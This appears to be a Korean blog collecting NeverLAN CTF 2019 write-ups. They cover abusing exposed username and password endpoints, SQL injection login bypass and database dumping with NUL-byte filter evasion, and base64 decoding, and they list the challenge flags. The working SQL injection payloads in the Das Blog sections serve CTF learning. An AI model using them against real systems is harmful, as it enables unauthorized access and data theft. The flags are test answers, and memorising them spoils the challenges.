      // https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/atob

      // For element with id='name', when a key is pressed run this function
      $('#name').on('keypress',function(){
        // get the value that is in element with id='name'
        var that = $('#name');
		// make an ajax request to get the expected username
        $.ajax('webhooks/get_username.php',{})
		.done(function(data)
		{ // once the request has been completed, run this function
			data = JSON.parse(data);
            if( data.usernames.indexOf(that.val()) != -1 ){ // see if the username is in the list
 
              that.css('border', '1px solid green'); // if it matches turn the border green
              $('#output').html('Username is correct'); // state that the user was correct

            }else{ // if the user typed in something incorrect

              that.css('border', ''); // set input box border to default color
              $('#output').html('Username is incorrect'); // say the user was incorrect

            }

          }
        );
      });

      // For the password input now
	  // This is a BAD idea, never validate sensitive data in javascript
      $('#pass').on('keypress', function(){
		// get value for element with id='pass'
        var that = $('#pass');
		// make an ajax request to get the expected password for the given username
        $.ajax('webhooks/get_password.php?user='+encodeURIComponent($('#name').val()),{})
		.done(function(data)
		{// once the request has completed, run this function
			// remove whitespace from data
            data = data.replace(/(\r\n|\n|\r)/gm,"");
			// check if the data matches the given value
            if(window.atob(data) == that.val()){

			  // if value is correct, show a green border
			  that.css('border', '1px solid green');
			  $('#output').html(window.atob(data));

            }else{

			  // if value is false, remove border
              that.css('border', '');
              $('#output').html('Password is incorrect');

			}

          }
        );
      });

소스를 살펴보면

먼저 아이디를

webhooks/get_username.php 페이지에 있는지 확인하고

이후 패스워드를

webhook/get_password.php?user= 에서 점검하여

유효하다면

base64 복호화 한 후, 화면에 출력하도록 되어 있군요.

https://challenges.neverlanctf.com:1135/webhooks/get_username.php

따라서 webhooks/get_username.php 에 접속하면

모든 유저 목록을 조회할 수 있었습니다.

https://challenges.neverlanctf.com:1135/webhooks/get_password.php?user=Dr. Whom

또한 webhooks/get_password.php 페이지에서

username을 인자로 비밀번호까지 조회할 수 있는데

Dr. Whom 의 비밀번호 데이터를

복호화 하니, 플래그를 얻을 수 있었습니다.

flag{D0n't_7rus7_JS}

neverlanctf 2019 - Das Blog 2 writeup

POSIX — Mon, 4 Feb 2019 18:30:17 +0900

Das Blog 에서 개선된 문제라고 합니다.

이전과 마찬가지로 로그인 페이지가

존재하는 것을 볼 수 있습니다.

폼도 동일하고

심지어 완전히 같은 쿼리로

플래그를 얻어낼 수 있었습니다.

submit=Login&Password=&Username=' union select group_concat(0xa,a,0x3a,b),2 from (select title a,content as b from posts)x;%00

neverlanctf 2019 - Das Blog writeup

POSIX — Mon, 4 Feb 2019 18:26:59 +0900

Johnny 가 블로그를 개설했는데

입력을 escape 하는 방법을 모르겠다고 합니다.

링크에 접속하면

인삿말과 함께 로그인 페이지에 접속이 가능합니다.

로그인 폼은 별다를 것이 없습니다.

There was a problem when looking for user. Please try again.

Sorry, That Username / Password is incorrect.

Username에 싱글 쿼트를 삽입하면 쿼리 오류가 뜨는 듯 한데

주석을 넣기 위해 '#', '-' 등 특수문자를

삽입하면 검색오류로 바뀝니다.

이것을 보아, 쿼리 검색을 하기 전에

지정된 문자가 있는지 확인하고 있다면

검색 오류를 뿜고 바로 넘겨버리는 것이 아닌가

생각해 볼 수 있습니다.

submit=Login&Password=&Username=' or 1;%00

NUL 은 필터링 되지 않았으므로

NUL 문자를 끼워넣어 뒷 부분을 무효화 시켰습니다.

You are now logged in as Johnny with permissions admin
click here to go to the main page

그러자 로그인이 가능했고

Johnny 의 admin 권한으로 접속된 것을 확인할 수 있습니다.

submit=Login&Password=&Username=' union select group_concat(0xa,a,0x3a,b),2 from (select column_name as a,table_name as b from information_schema.columns)x;%00

데이터베이스에 존재하는

모든 테이블과 컬럼을 조회하기 위해

Death Row Injection 기법을 사용 하였습니다.

조금 더 번거롭겠지만

limit 0, 1 등의 방법으로 시도하셔도 무관합니다.

submit=Login&Password=&Username=' union select group_concat(0xa,a,0x3a,b),2 from (select title a,content as b from posts)x;%00

posts 테이블 내의 컬럼 내에서 플래그를 발견할 수 있었습니다.

neverlanctf 2019 - Cover the BASEs writeup

POSIX — Mon, 4 Feb 2019 18:13:00 +0900

문제를 보면 '==' 로 끝나는

문자열이 하나 주어져 있습니다.

base64 문자열이 종종 '=' 로 끝나곤 하죠.

물론 그렇지 않은 경우도 있지만,

암호화 방식과 관련이 있습니다.

본래 8비트씩 붙어있던 데이터를 분리해다가

6비트씩으로 재결합 하다보니 남는 비트수를 표현하기 위해

붙는 것이 '=' 입니다.

자세한 설명은 여기를 참고하시면 되겠습니다.

단순히 데이터의 바이트 수가 3배수가 아니면

모조리 '='가 붙는다고 알아두어도 상관은 없습니다.

flag{D1d_y0u_d0_th3_Pr3_CTF}

base64 복호화를 거치면 플래그를 얻을 수 있습니다.